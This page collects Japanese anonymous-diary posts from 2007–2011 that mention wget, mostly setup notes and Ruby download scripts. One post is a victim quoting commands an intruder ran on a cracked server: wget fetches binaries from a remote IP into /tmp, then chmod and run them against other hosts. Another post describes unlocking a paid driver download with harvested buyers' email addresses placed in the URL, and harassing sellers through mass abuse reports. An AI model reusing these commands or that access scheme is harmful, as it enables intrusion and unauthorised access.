「wget」を含む日記 RSS

はてなキーワード: wgetとは

2011-07-29

クラッキングされたサーバで実行されていた怪しいコマンド晒す

うちの大したことに使ってもいないのに常時稼動で外部公開なサーバクラックされて以下のコマンドが実行されていた。

sh -c cd /tmp;wget ttp://195.69.220.2/dd_ssh;chmod 755 dd_ssh;./dd_ssh 50 217.79.190.53 2 >/dev/null 2>/dev/null
sh -c cd /tmp;wget ttp://195.69.220.2/slowdssh;chmod 755 slowdssh;./slowdssh  >/dev/null 2>/dev/null
sh -c cd /tmp;killall -9 ssh2;wget ttp://195.69.220.2/ssh3;chmod 755 ssh3;./ssh3 200 72.20.14.174 >/dev/null 2>/dev/null

((正式なリンクだと502エラーが出て書き込めないのでhを抜いてあります。))

このコマンドを実行するとドイツサーバからプログラムダウンロードして実行するみたい。

ちなみに、いろんなサーバssh接続を試みるプログラムっぽい。



このプログラムたちは2007年11月頃にビルドしたApache/2.0.61にぶら下がって動いていた。

ログは綺麗さっぱりなくなっていて、2011年7月24日以降の情報しか残っていなかった。

どうやって侵入して実行したのか分からなかったけど、古いApacheと一緒に動いていたのでApache更新しなかった自分が悪いと思っている。



「dd_ssh」や「ssh3」の引数を書き換えて実行してみたいけど、それって犯罪じゃないかと思うと怖くてできない。

誰か詳しく調べてちょ。

2011-07-25

poptop pptpd (PPTPサーバ) on CentOS5

1.POPTOPから最新版ダウンロード

wget http://sourceforge.net/projects/poptop/files/pptpd/pptpd-1.3.4/pptpd-1.3.4.tar.gz/download



2.tgzを解凍

tar xvzf ./pptpd-1.3.4.tar.gz



3. ./configure 実行

4. make 実行

5. make install 実行



コンパイルするので、ccgccが必要。



しかし、設定ファイルうんぬんを考えたら先でもハマりそうな予感がしたので

結局yumインストールした。

CentOSyumがうまくできない時 - デフォルトGW設定

http://blog.mizoshiri.com/archives/93

(Cloud 9 さん ブログ)



社内サーバからはOKなのに

社外のサーバyumばかりかwgetpingもことごとくだめって、

FWの設定間違えたかな...などと考えをめぐらせつつググってみたら、こちらに解決手順が。




Windowsだと、デフォルトゲートウエイNICTCP/IP設定画面に含まれているけど

それって考えてみたら、デフォルトゲートウェイコンピュータ(ホスト)固有だからおかしいよね。

/etc/sysconfig/network-scripts/cfg-eth0

の項目をいじっても社外につながらなかった(/etc/sysconfig/networkGW設定も必要)

ことへのグチですけど。。

(デフォルトGWの設定画面含めて、route tableに統一して編集する方式も、OS設計的にアリだよな)。

2011-04-29

本当の情報強者と向き合えますか? 意識の高い情弱チェッカー

電卓片手に数字を足していってください。

OS

種類
Windows 5
Mac OS 10
Linux 10
自作OS 20
バージョン
ベータ 20
現行版 10
一つ前 5
二つ前 0

ブラウザ

種類
IE8以下 IE9 Firefox Chrome/Rockmelt Opera Safari w3m lynx wget/curl/lwp UA無し
0 5 6 6 6 5 10 10 20 30

UA無しの人はもしかするとtelnetを使ってるかもしれないので

補足
バージョン
開発版、dev版、Minefieldアルファ 20
ベータ 15
RC 10
リリース版(通常) 5
リリース版-1 3
リリース版-2 2
2つ以上古い 0
Flash
アルファ 20
ベータ 15
リリース版(通常) 5
半年上前バージョン 3
それ以上前 0

プロバイダ

Dynamic? or Static?
固定IPアドレス 15
動的IPアドレス 0
IP version
Direct IPv6 20
6to4/6rd IPv6 10
IPv4 0
RTT to www.google.co.jp
$ ping www.google.co.jp
151msec以上 0
101-150msec 5
51-100msec 10
31-50msec 20
11-30msec 25
0-10msec 30

結果

ポイント 称号 ハッカーレベル
121以上 意識技術も高いハイレベルエンジニア グル
110-120 100M人に1人のホンモノエンジニア ウィザード
90-109 凄腕 ハッカー
70-89 意識の高い情報強者 ギーク
60-69 それなりに意識の高い情報強者
60-59 意識の中程な情報強者
40-59 自称情強 スクリプトキディ
30-39 自称意識の高い人
30未満 意識の低い情弱

2010-12-06

Wikileakswget -m でページ丸ごとダウンロードする方法

というか表題のコマンドを実行するだけであまり説明することもないが。

wikileaks.org でアクセス出来なくなったのもあり、いつサイト自体が無くなってもおかしくない(まぁ当初からずっとそうだけど)ので興味ある命知らずは丸ごとダウンロードしておくことをおすすめする。


WikileaksPaypal停止と「言論の自由」問題 | WIRED VISION
http://wiredvision.jp/news/201012/2010120523.html

(追記 2010-12-06)今日 wget してみたところ、1,708 ファイルで 67.0MB だった。大体 1 時間位でダウンロード完了できた。


wget の準備

Windowswget ないぜって人はこの辺から落としてこい。


wgetWindows版) - 俺の基地
http://yakinikunotare.boo.jp/orebase/index.php?wget%A1%CAWindows%C8%C7%A1%CB

Mac OS XmacportsLinuxapt-get やら yum やら使って適当インストールしてください。


wikileaks へのリンク

http://wikileaks.org (上述の記事の通り、DNS の登録から外されたらしい)

http://213.251.145.96/(多分本家

http://wikileaks.ch/(ミラーコピーサイト?)


コマンド

mkdir wikileaks

cd ./wikileaks

wget -m http://213.251.145.96/

※ "213.251.145.96" は wikileaks.org の登録元 IP。(だと思う)

あと、wikileaksミラーサイトになってくれるところを募集しているらしいので、更に命知らず(リアル命とセキュリティアタック的な意味で)な人はこの手順に従ってミラーサイトが公開できますよ。ちょいと wikileaks なんとかっていうドメインサーバスペースを契約してミラー作ってあげたらいいんじゃないですかね。


Bash | #### tutorial about how to set up a wikileaks mirr - Wikileaks mirroring tutorial(英語
http://pastebin.com/6q6E3Z0C

ちゃんと匿名ダイアリーで書いてるし(wikileaks.hatena.ne.jp まだかな!)、はてなの人も言論の自由を脅かすなんてことは、おっと誰か来たようだ

2010-09-02

岡崎市立中央図書館には結局クロールして良いの?

今後は岡崎市立中央図書館ウェブサイトクローラアクセスしてよいの?

wgetしちゃっていいの?

波乗野郎しちゃっていいの?



岡崎市立中央図書館はLibrahack氏に謝れよ。本当に。

平成十七年(2005)の設計だから想定していなかったって阿呆ですか。

波乗野郎の発売は1996年だ。wgetもその頃からある。この時点で庶民にクローラ需要があったんだぞ。



俺だって十年前から自動巡回も一括取得も当たり前にやってた。



品質製品を発注してしまった責任を取りたくないから認められないのか?

三菱から見返りでももらっていたのか?


合法だけど迷惑行為だったとでも言いたいようだが、迷惑を受けたのは逮捕された側だっての。

今まで落ちなかったのは、たまたまそうやって利用されていなかっただけだろ。

利用者の方におかれましては、情報収集のために使われる手段が、他の利用者に迷惑をかけていないかどうかについて、ご配慮をお願いいたします。

同時1コネクション限度でアクセス毎に1秒ウェイトは十分すぎるほど配慮してるじゃないか。

何百メガバイトものファイルを大量に落としたわけでもない。

頻度も大域も1万円の中古パソコンでもさばける程度のアクセスしかしてないじゃないか。



この図書館は最悪だな。こんなだから逮捕者まで出してしまったんだ。

三菱も悪いが図書館の態度も大きな原因だろう。無知でしたとか言う次元じゃない。

こんな図書館だから、こんな商品発注して、この有様なんだとしか言いようがない。

2009-03-10

http://anond.hatelabo.jp/20090310161507

#!/bin/bash

for h in {0..23}; do
  for m in {0..59}; do
    name=$(printf "http://www.bijint.com/jp/img/photo/%02d%02d.jpg" $h $m)
    for i in {1..10}; do
      if `wget $name`; then
        break
      fi
    done
  done
done

2008-11-22

http://anond.hatelabo.jp/20081122024106

man wget すればわかるけど、-l で階層指定して、-A で拡張子指定出来るから、

そんなにperlとか登場させる必要ないぞ?

2008-10-18

real street angels から mechanize を使って動画を取ってきてEmacsで見てみるよ

せっかく書いたから匿名でのせてみるよ

使い方は

  • 動画を取ってきたいよ
    • config.yamlユーザとかを設定するよ
    • ids.txt に取ってきたいIDを書くよ
    • sangels.bat を実行するよ
  • Emacs動画を見たいよ
    • sangels.el を load するよ
    • M-x sangels だよ

必要なものを gem で取ってくるにはこうすればいいよ

  • gem install -r log4r
  • gem install -r -v 0.6 hpricot
  • gem install -r mechanize

長すぎてelispが消えたから続きがあるよ

sangels.bat - 起動用バッチファイル

@echo off
setlocal
set WD=%~dp0
cd /d %WD%

ruby get_movies.rb
ruby get_images.rb
ruby create_m3u.rb

ruby

config.yaml - 設定ファイル
user: ユーザID
password: パスワード
ids_file: ids.txt
done_file: ids_done.txt
movies_dir: movies

log4r_config:
  pre_config:
    global: INFO
  loggers:
    - name: app
      type: Log4r::Logger
      level: INFO
      outputters:
        - STDOUT
        - FILE
  outputters:
    - name: STDOUT
      type: Log4r::StdoutOutputter
      formatter:
        type: Log4r::PatternFormatter
        pattern: "%d [%l] %C - %M"
        date_pattern: "%H:%M:%S"
    - name: FILE
      type: Log4r::FileOutputter 
      filename: "#{LOGDIR}/sangels.log"
      formatter:
        type: Log4r::PatternFormatter
        pattern: "%d [%l] %C - %M"
        date_pattern: "%Y-%m-%d %H:%M:%S"
get_movies.rb
require 'fileutils'
require 'logger'
require 'mechanize'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"
require "#{BASEDIR}/sangels"

$config = load_config(BASEDIR)
prepare_logger(BASEDIR)
$log = new_logger("get_movies")
WWW::Mechanize.log = new_logger("mechanize")
WGet.log = $log

class IDFile
  def initialize(file)
    @file = file
    unless File.exist?(@file)
      Fileutils.touch(@file)
    end
  end

  def ids(contains_comment = nil)
    File.open(@file) {|io|
      io.to_a.map {|x|
        x.chomp
      }.select {|x|
        if x.empty?
          nil
        elsif contains_comment
          true
        else
          not /^\s*\#/ =~ x
        end
      }
    }
  end

  def add(id)
    ids = ids(true)
    unless ids.any? {|x| x == id}
      write(ids + [id])
    end
  end

  def delete(id)
    ids = ids(true)
    if ids.any? {|x| x == id}
      write(ids - [id])
    end
  end

  def write(ids)
    File.open(@file, "w") {|io|
      ids.each {|x| io.puts x}
    }
  end
end


$log.info("BEGIN #{$0} ================")
exit_code = 0
begin
  ids_file = IDFile.new($config.ids_file)
  done_file = IDFile.new($config.done_file)
  movies_dir = $config.movies_dir
  wget = WGet.new

  sangels = SAngels.new
  sangels.login($config.user, $config.password)
  ids_file.ids.each {|id|
    begin
      movies = sangels.movies(id)
    rescue SAngels::Movies::InvalidMoviesError
      $log.warn("invalid movie id: #{id}")
      next
    end
    dir = File.expand_path(id, movies_dir)
    movies.each {|link|
      wget.retrieve(link.href, dir)
    }
    expected = movies.movie_links.map{|x| File.basename(x.href)}
    actual = Dir.glob("#{dir}/*").map {|x| File.basename(x)}
    if (expected - actual).empty?
      done_file.add(id)
      ids_file.delete(id)
    end
  }
rescue => e
  $log.error(e)
  exit_code = 1
end

$log.info("END #{$0} (#{exit_code}) ================")
exit exit_code
get_images.rb
require 'fileutils'
require 'logger'
require 'mechanize'
require 'ostruct'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"
require "#{BASEDIR}/sangels"

$config = load_config(BASEDIR)
prepare_logger(BASEDIR)
$log = new_logger("get_images")
WWW::Mechanize.log = new_logger("mechanize")
WGet.log = $log

$log.info("BEGIN #{$0} ================")
exit_code = 0
begin
  movies_dir = $config.movies_dir
  sangels = SAngels.new
  sangels.login($config.user, $config.password)
  thumbnails = sangels.thumbnails

  Dir.glob("#{movies_dir}/*").each {|dir|
    next unless File.directory? dir
    id = File.basename(dir)

    url = thumbnails.url(id)
    unless url
      $log.warn("#{id} is not found")
      next
    end
    path = File.expand_path("00_thumbnail#{File.extname(url)}", dir)
    next if File.exist? path

    $log.info("retrieving #{url}")
    thumbnail = thumbnails.get_file(id)
    File.open(path, "wb") {|io| io.write(thumbnail)}
  }
rescue => e
  $log.error(e)
  exit_code = 1
end

$log.info("END #{$0} (#{exit_code}) ================")
exit exit_code
create_m3u.rb
BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"

$config = load_config(BASEDIR)
movies_dir = $config.movies_dir
Dir.glob("#{movies_dir}/*") {|dir|
  next unless File.directory? dir
  name = File.basename(dir)
  files = Dir.glob("#{dir}/*.wmv").sort

  File.open("#{movies_dir}/#{name}.m3u", "w") {|io|
    files.each {|file|
      io.puts "#{name}/#{File.basename(file)}"
    }
  }

  File.open("#{dir}/00_movies.m3u", "w") {|io|
    files.each {|file|
      io.puts "#{File.basename(file)}"
    }
  }
}
sangels.rb
require 'mechanize'
require 'hpricot'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"

class SAngels
  HOST = "real2.s-angels.com"
  LOGIN_URL = "http://#{HOST}/member/"
  INFO_URL = "http://#{HOST}/teigaku/item.php"
  THUMBNAILS_URL = "http://#{HOST}/teigaku/"
  THUMBNAIL_URL = "http://#{HOST}/images/default/thumb/"

  def initialize()
    @agent = WWW::Mechanize.new
  end

  def login(user, password)
    login_form = @agent.get(LOGIN_URL).forms.find {|form|
      form.fields.any? {|field| field.name == "frmLoginid"}
    }
    login_form.frmLoginid = user
    login_form.frmPw = password
    @agent.submit(login_form)
  end

  def movies(id, no_validate = nil)
    Movies.new(@agent, id, !no_validate)
  end

  def thumbnails
    Thumbnails.new(@agent)
  end

  class Thumbnails
    def initialize(agent)
      @agent = agent
      doc = Hpricot(@agent.get_file(THUMBNAILS_URL))
      elems = doc.search("div[@class=realthum]/a")
      @links = Hash(
        elems.map {|elem|
          href = elem["href"]
          id = $1 if /ID=(.+)/ =~ href
          url = elem.search("img")[0]["src"]
          [id, url]
        })
    end

    def get_file(id)
      @agent.get_file(url(id))
    end

    def url(id)
      @links[id]
    end

    def exist?(id)
      url(id)
    end
  end

  class Movies
    class InvalidMoviesError < StandardError
    end

    def initialize(agent, id, no_validate)
      @agent = agent
      @id = id
      if !no_validate &amp;&amp; !valid?
        raise InvalidMoviesError
      end
    end

    def info_page_url
      "#{INFO_URL}?ID=#{@id}"
    end

    def info_page
      @agent.get(info_page_url)
    end

    def movies_page
      @agent.click(info_page.links.find {|link| /P=10/ =~ link.href})
    end

    def movie_links
      movies_page.links.select {|link|
        /wmv$/ =~ link.href
      }.sort {|a, b|
        File.basename(a.href) <=> File.basename(b.href)
      }
    end

    def valid?
      info_page.uri.to_s == info_page_url
    end

    def each(&amp;block)
      orig_links = movie_links
      orig_links.each {|orig_link|
        link = movie_links.find {|l| File.basename(l.href) == File.basename(orig_link.href)}
        block.call(link)
      }
    end
  end
end
util.rb
require 'log4r'
require 'log4r/yamlconfigurator'
require 'singleton'
require 'fileutils'
require 'ostruct'

def Hash(a)
  Hash[*a.flatten]
end

def load_config(basedir)
  OpenStruct.new(File.open("#{basedir}/config.yaml") {|io| YAML.load(io)})
end

def new_logger(name)
  Log4r::Logger.new("app::#{name}")
end

def prepare_logger(basedir, logdir = nil)
  logdir ||= basedir
  Log4r::YamlConfigurator["LOGDIR"] = logdir
  Log4r::YamlConfigurator.load_yaml_file("#{basedir}/config.yaml")
end

class NullObject
  include Singleton
  def method_missing(message, *arg)
    NullObject.singleton
  end
end

class WGet
  class << self
    attr_accessor :log
    def initialize
      super
      @log = NullObject.singleton
    end
  end
  
  def log
    self.class.log
  end

  def retrieve(url, dir)
    FileUtils.mkdir_p(dir)
    file = File.expand_path(File.basename(url), dir)
    if File.exist?(file)
      log.info("already retrieved #{url}")
      return true
    end

    tmp = "#{file}.part"
    log.info("retrieving #{url}")
    ret = system("wget", "-c", "-O", tmp, url)
    if ret
      log.info("retrieving succeeded #{url}")
      File.rename(tmp, file)
    else
      if $? == 0x020000 # Ctrl-C
        exit($?)
      else
        log.error("retrieving failure #{url} (#{$?})")
      end
    end
    return ret
  end
end

2008-09-25

[]

http://www.ubuntulinux.jp/products/JA-Localized http://www.ubuntulinux.jp/

http://jody.sci.hokudai.ac.jp/~ike/colum/ubuntu_feisty_amd64.html

wget -q http://www.ubuntulinux.jp/ubuntu-ja-archive-keyring.gpg -O- | sudo apt-key add -

sudo wget http://www.ubuntulinux.jp/sources.list.d/hardy.list -O /etc/apt/sources.list.d/ubuntu-ja.list

sudo apt-get update

sudo apt-get install ubuntu-desktop-ja

sudo apt-get install ubuntu-ja-keyring

sudo apt-get upgrade

sudo apt-get install language-pack-gnome-ja language-pack-ja

sudo apt-get install ipafont ipamonafont lha-sjis

sudo apt-get install scim-anthy

sudo apt-get install scim-bridge im-switch

sudo apt-get install openoffice.org-l10n-ja openoffice.org-help-ja mozilla-firefox-locale-ja-jp

im-switch -l

2008-08-01

http://anond.hatelabo.jp/20080801154904

なんか呼ばれた気がしなくもない。

ここ1年程の、ほぼすべてのエントリナンバは提供できると思う。

ただ、削除されたエントリもそれなりに入ってるけど、入ってないものも多い。そんなデータ

たぶん10万件×14桁で1.5Mほどかな。圧縮すれば2割くらいになってくれるだろうか。

いる人いる?


しかし、日単位なら365リクエストでいけるから、とってきた方が早いかも。

shならwgetsedperlならWeb::Scrapergmならgm_xhrか。

rubypythonは知らない。

xpathgraphという手もあるな。総計値になるけど。差分や統計が取れたらもっと面白いのに。

はてなグラフインポートできないかな。

2008-04-22

手順

とりあえず更新

まず、stable の最新版にアップデート

# apt-get update
# apt-get dist-upgrade

apt-line 変更

そしたら /etc/apt/source.list を編集

deb http://www.example.org/pub/ stable main contrib non-free
deb-src http://www.example.org/pub/ stable main contrib non-free
…

の stable を unstable に変更すれば OK。

sid

そしたらもう一回更新すれば OK。

# apt-get update
# apt-get dist-upgrade

いろいろインストール

おれのこのみだけど。

# apt-get install aptitude gnupg locales openssh-server screen subversion subversion-tools wget zsh

UTF-8

下のコマンドをたたいてしつもんにこたえて、UTF-8 にする。

# dpkg-reconfigure locales

最後に

念のため、aptitude更新しとく。

# aptitude update
# aptitude dist-upgrade

2008-02-02

Friio - フリーオヤフオクで売ったんだが

違反申告大杉wwwwwwww

夜中でも容赦なくメールバンバンきてた。

それにしても、転売ヤーさんいっぱい居ますね。

今は第4弾出荷品がいっぱい出品されてるので、だいぶ相場は落ちてますが、それでもまだ倍になる。

とりあえず、私はもう売り抜けたので関係ありませんのでw、

誰が作ったか知らないけど違反申告の方が使えるページを紹介します。

http://jsn-home.net/~friio/search.php

Yahoo!ログインした状態で使ってください。ワンクリック違反申告できます。

夜中の3時くらいに使ってください。出品者のケータイメールアドレスメールが送れますw

PCには専用のアドレスから送られてくるので弾けるのですが、ケータイはなぜか落札通知などと同じアドレスからくるのでdenyできません。

なお、ドライバダウンロードする際には購入者のメールアドレスが必要なのですが、教えなくてもDLさせることができます。

とあります。

メールアドレスblogで検索して探す方法ですが、「フリーオ 買った」とかで検索すればいくつか見つかりますので。終わり。

簡単なスクリプトDLさせる方法は、以下のようなURIリダイレクトするようなスクリプトを書けばいいです。

http://mailaddress:friio@www.friio.com/download/secure/friio-latest.zip

向こう側の認証機構が単純なので、ユーザー名とパスワードURIに含めてリクエストさせればOKです。

zipでくれ!みたいに、Wgetを使い、Cronで毎日回して(blog検索で見つけたメールアドレスを使ってw)、

更新があれば保存しておき、ユーザーにはそれをDLさせるとかすればリクエストヘッダには何も情報出ませんし。

Yahoo!なら受け取り後決済を使うと個人情報は一切向こうに渡らないので、完全隠密行動が可能になります。

警察捜査入ったら一発で終わるとは思いますがw)

なお、フリーオを使った感想ですが、30分もののアニメなら、最短で放送終了から45分くらいでニコニコうpできます。

AviUtilに読ませるために変換するのに5分。エンコに30分ってとこです。後はニコニコエンコード待ち。

まぁ使いたい人はがんばって公式サイトから買いましょう。俺が言うのもおかしいですがw

2007-09-27

[]11日目

前回までのあらすじ

[Ruby]10日目

http://anond.hatelabo.jp/20070925223241

id/passの再発行を申請したら届いたのはなんとブログid/passだった!!

はたして締め切りに間に合うのか!!




はい、間に合うはずもありませんね。

夏休み宿題夏休みがおわってからやる主義の増田ですこんにちは

一応エントリーだけはしておきました。

サービス開始できてないけどな!




今日Ruby(正確には24時間ぐらいまえの)

next if  :nextcontinueみたいな感じ。この表記に違和感

unless  :こんな書き方にはなにかなじめない。

一行if文が嫌いな増田には余計耐えられない。

@user = params[:id].nil? ? @myuser : User.find(params[:id])

こういう書き方が嫌い。意味わからん。



画像DB格納で苦戦

正直嵌った。

win環境がどうのがいけなかったのかと、

あれこれいじってみたのだけど、そうではなかったようだ。

start_form_tagに :multipart => true がぬけていた。

あと、{}で引数位置指定しないといけないんだと…。

http://techno.hippy.jp/rorwiki/?HowtoUploadFiles
http://www.fdiary.net/ml/rails/msg/1375/0/
start_form_tag({:action => 'create'}, :multipart => true)

これは結構やりがちなミスかもしれない。

ちなみに、本のサンプルも間違っていたので余計嵌った。


image_tagで拡張子なしのファイルを読み込むと勝手png拡張子がついてくる。

おかげさまで表示されない。

http://mumrik.air-nifty.com/blog/2007/05/16_r185r186_6.html

どうやら画像ファイル拡張子が指定されていない URL だと自動的に png として扱うよ、ということらしいので、image_tag のところで url_for( ) した部分に追加修正をしてみる。

url_for(:action => 'xx', :id => 'xx', :extension => '.jpg')

対処療法でしかない。これだとjpgしかできないので正直どうしたものか。

:content_typeを一応保存しているので後から拡張子をつくることもできるが、

きっとなにかいいものがそのうちできるはず!!というかあるはず!!

→時間がなかったのでうっちゃった


redirect_back_or_defaultの使いどころに悩む。

ruby画像を描画させているばあい、画像にもどってしまうからだ。

この挙動は最初意味わからなかったぜ。

→時間がなかったので最初の画面に飛ばして誤魔化した


テーブルでjoinで名前だけでももってきたいとき、元のテーブルにはどうやって別名つけたらいいんだろう??

例えば、user名をuserテーブルからくっつけてもってきたい場合rubyは次みたいな

感じになるんだけど、正直気持ち悪い。

@catchcopy_pages, @catchcopy = paginate :catchcopies,

:conditions => contitions_str,

:select => 'catchcopies.id,user_id,users.login,catchcopies.catchcopy,catchcopies.created_at,vote,catchcopies.updated_at,item_id',

:joins => 'left outer join users on user_id = users.id ',

:order => 'created_at DESC' ,

:per_page => 10

ところでSchema.rbとかみるかぎりFKにも指定されていないんだが、大丈夫なのだろうか。

belongs_toとかではそこまでやってくれないものなのか。

ちなみにmigrateファイルでのalterとかの書き方はまだわかっていない。できるのかもしらない。



大会サーバアクセスできた

パスワードメールで送ってもらってアクセスできるようになった!

ftpは公開してないのね…? FTPあけてくれよ!!!

しかたないのでSSHアクセス


われながら情けないが、SSH越しのファイル転送のしかたがわからなかった。

rcpもscpもうまくできない。

これが環境の問題なのか、自分が悪いのか、やりかたが悪いのか、

問題の切り分けがそもそもできないので諦めた。

SSHで向こうのコマンドからrcpを蹴ってるってことはこっちが開けてないとダメってことだよね?

こっち閉じてるもの…。

wgetは生きていたので他のレンタルサーバー経由ファイルを取得。

ちなみにrcpができないのであげっぱなしさ!


が、しかし。unzipがはいってない。

tarで圧縮して、

tar xvf xxxx.tar

unzipがないのでzがつかえない。


フォルダの権限設定などをして、ローカライズ

せっかく

ENV['RAILS_ENV'] ||= 'production'

みたいなymlがあるのに、

dispatch.cgi

dispatch.fcgi

に書かれた

#!c:/ruby/bin/ruby

#!/usr/bin/ruby

に変更しなきゃいけないのは、何かあれだなと思った。

これかえてまわってたら本番とローカルで世代が分岐しちゃうじゃないか…。


ちなみにmysqlのソケットの位置も違うようなので、

/tmp/mysql.sock

socket: /var/run/mysqld/mysqld.sock

をymlに設定。

できればconfファイルフラグの書き換えだけで乗り換えしたかった。



最近linuxとかにもめっきり触っていなかったのでコマンド表を一生懸命見た。

witch ruby でインストールフォルダを割り出したり、

・・・findというコマンドが思い出せないときは情けなかった。

viコマンドも同様。


そうこうしながら設定完了



本番環境テスト動作

あれ、動かない・・・500エラーが出てる。

wget経由でdispatch.cgiをそのまま配置したのが原因でした。

中身みたらcgiエラー出力が書いてあった。

中継サーバで動いちゃったみたい。tarで固めてからわたしなおしましたとさ。



うごいたーー!!


でも、登録すると文字化けしている。

SQLで中身をみる。中身も文字化けしている。

おかしいなぁ……。

SQL>status

DBがlatin1になっていた…。

CREATE DATABASEも権限ないし…。

my.cnfも読み込み専用だった。

alter database XXXX DEFAULT CHARACTER SET utf8;

alter table XXXX DEFAULT CHARACTER SET utf8;

みたいな悪あがきもしてみたけど適わぬ夢。


SET NAMES utf8;

でもコネクションのところあたりでやってあげたいのだけど、

こういうときにRailsみたいなのは何がどこにあるのかわからない。

しょうがないので運営に問合わせしてみました。

ratin1は正直太刀できるきがあまりしない。


感想

unixとかlinuxとかそこらへん全然わからん…。

8日(のんびり)の勉強と2日(ほぼ徹夜)と1日(半日)のサーバー設定で、

アプリっぽいのはできあがった。


が、どうなのさ・・・。RonR

また今度Ruby感想でもくっちゃべるよ。

[Ruby]タグでもひいておくれ。


なんていうか消化不良。

もっとちゃんとしたものつくりたいな……。

2007-09-05

http://anond.hatelabo.jp/20070905231443 and http://anond.hatelabo.jp/20070905231232

~% wget -S --spider http://www.kantei.go.jp/
--23:26:05--  http://www.kantei.go.jp/
           => `index.html'
www.kantei.go.jpDNSに問いあわせています... 202.232.58.50, 202.232.190.90
www.kantei.go.jp|202.232.58.50|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 
  HTTP/1.1 200 OK
  Date: Wed, 05 Sep 2007 14:26:05 GMT
  Server: Apache
  Last-Modified: Wed, 05 Sep 2007 10:36:48 GMT
  ETag: "84e2-7930-fb9f3000"
  Accept-Ranges: bytes
  Content-Length: 31024
  Keep-Alive: timeout=15, max=100
  Connection: Keep-Alive
  Content-Type: text/html
長さ: 31,024 (30K) [text/html]
200 OK

~% wget -S --spider http://www.kantei.go.jp/
--23:30:11--  http://www.kantei.go.jp/
           => `index.html'
www.kantei.go.jpDNSに問いあわせています... 202.232.190.90, 202.232.58.50
www.kantei.go.jp|202.232.190.90|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 
  HTTP/1.1 200 OK
  Server: Zeus/4.2
  Date: Wed, 05 Sep 2007 14:30:11 GMT
  Content-Length: 31024
  Accept-Ranges: bytes
  Content-Type: text/html
  Last-Modified: Wed, 05 Sep 2007 10:36:48 GMT
  Connection: Keep-Alive
長さ: 31,024 (30K) [text/html]
200 OK

2007-05-06

linuxユーザのためのエロ動画DLツール3

http://anond.hatelabo.jp/20070429211930

ファイルurlコピペしといてそこから読み込むようにしたんだぜ?

頭の"h"を補完するようにしたんだぜ?

例えばhoge.txtとして次のような内容にしておく。

ttp://www.yourfilehost.com/media.php?cat=video&file=hoge_001.wmv
ttp://www.yourfilehost.com/media.php?cat=video&file=hoge_002.wmv
ttp://www.yourfilehost.com/media.php?cat=video&file=hoge_003.wmv

こっちはbukkonuki.rbとして保存。

require 'rubygems'
require 'scrapi'
require 'open-uri'

def get_yourfilehost_src(uri)
  yourfilehost_src = Scraper.define do
    process "embed", :src => "@src"
    result :src
  end
  yourfilehost_match = /vidlink\=(.*?)&amp;/
  
  return yourfilehost_match.match(yourfilehost_src.scrape(URI.parse(uri)))[1]
end

def completion_uri(arg)
  if arg =~ /^h/
    uri = arg
  else
    uri = 'h' + arg
  end
  
  return uri
end

def expansion_list()
  $*.each do |files|
    File::open(files) do |file|
      file.each {|line| system 'wget', get_yourfilehost_src(completion_uri(line)) }
    end
  end
end

expansion_list()

#$*.each do |arg|
#  system 'wget', get_yourfilehost_src(completion_uri(arg))
#end

使うときは

ruby bukkonuki.rb hoge.txt

って感じで頼むぜ。

そうするとhoge_001.wmv,hoge_002.wmv,hoge_003.wmvDLされてくるんだぜ?

2007-04-29

linuxユーザのためのエロ動画DLツール2

http://anond.hatelabo.jp/20070325165452

仕様が変わっていたので改良したんだぜ?

使いかたは以前と変わってない。

require 'rubygems'
require 'scrapi'
require 'open-uri'

def get_yourfilehost_src(uri)
  yourfilehost_src = Scraper.define do
    process "embed", :src => "@src"
    result :src
  end
  yourfilehost_match = /vidlink\=(.*?)&amp;/

  return yourfilehost_match.match(yourfilehost_src.scrape(URI.parse(uri)))[1]
end

$*.each do |uri|
  system 'wget', get_yourfilehost_src(uri)
end

2007-03-25

linuxユーザのためのエロ動画DLツール

yourfilehostぶっこぬき

http://www.yourfilehost.com/media.php?cat=video&file=hogehoge.wmv

こんなのからhogehoge.wmvダウンロードするためのrubyスクリプト

これをbukkonuki.rbとして保存する

require 'rubygems'
require 'scrapi'
require 'open-uri'

yourfilehost_src = Scraper.define do
  process "embed", :src => "@src"
  result :src
end

ARGV.each do |uri|
  p system "wget", yourfilehost_src.scrape(URI.parse(uri))
end

こんな感じで使うとDLしてくる

ruby bukkonuki.rb "http://www.yourfilehost.com/media.php?cat=video&file=hogehoge.wmv"

複数指定してもDLしてくる

ruby bukkonuki.rb "http://www.yourfilehost.com/media.php?cat=video&file=hogehoge.wmv1" "http://www.yourfilehost.com/media.php?cat=video&file=hogehoge.wmv2"

ruby初心者には大変だった。

半日かかったぞ…ふざけやがって

- 転職ならen
- 派遣ならen
 
1ページ中1ページ目を表示(合計:19件)